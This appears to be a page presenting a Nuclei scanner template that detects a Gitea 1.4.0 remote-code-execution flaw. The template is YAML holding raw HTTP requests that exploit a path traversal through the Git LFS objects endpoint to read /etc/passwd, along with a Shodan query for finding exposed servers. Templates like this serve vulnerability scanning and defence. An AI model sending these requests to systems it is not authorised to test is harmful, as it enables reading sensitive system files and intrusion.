Gitea 1.4.0 - Remote Code Execution

ID: gitea-rce

Severity: critical

Author: theamanrawat

Tags: gitea,rce,unauth,edb

Description

Gitea 1.4.0 is vulnerable to remote code execution.

YAML Source

id: gitea-rce

info:
  name: Gitea 1.4.0 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Gitea 1.4.0 is vulnerable to remote code execution.
  reference:
    - https://www.exploit-db.com/exploits/44996
    - https://github.com/kacperszurek/exploits/blob/master/Gitea/gitea_lfs_rce.py
  classification:
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: gitea
    product: gitea
    shodan-query: 'title:"Installation -  Gitea: Git with a cup of tea"'
  tags: gitea,rce,unauth,edb

http:
  - raw:
      - |
        GET /api/v1/repos/search?limit=1 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /{{repo}}.git/info/lfs/objects HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/vnd.git-lfs+json

        {
            "Oid": "....../../../etc/passwd",
            "Size": 1000000,
            "User" : "{{randstr}}",
            "Password" : "{{randstr}}",
            "Repo" : "{{randstr}}",
            "Authorization" : "{{randstr}}"
        }
      - |
        GET /{{repo}}.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_3
        words:
          - "application/octet-stream"

    extractors:
      - type: regex
        name: repo
        group: 1
        regex:
          - '"name":".*","full_name":"(.*)","description"'
        internal: true
# digest: 4a0a0047304502206752dff41b474bdaae2c0db7bf5e126a08ff3ad9f1a8ac11556a425872336192022100de046570a911e7f2c6f8925ba491aea541dba94610475d648fd1910217cff20d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/gitea/gitea-rce.yaml"

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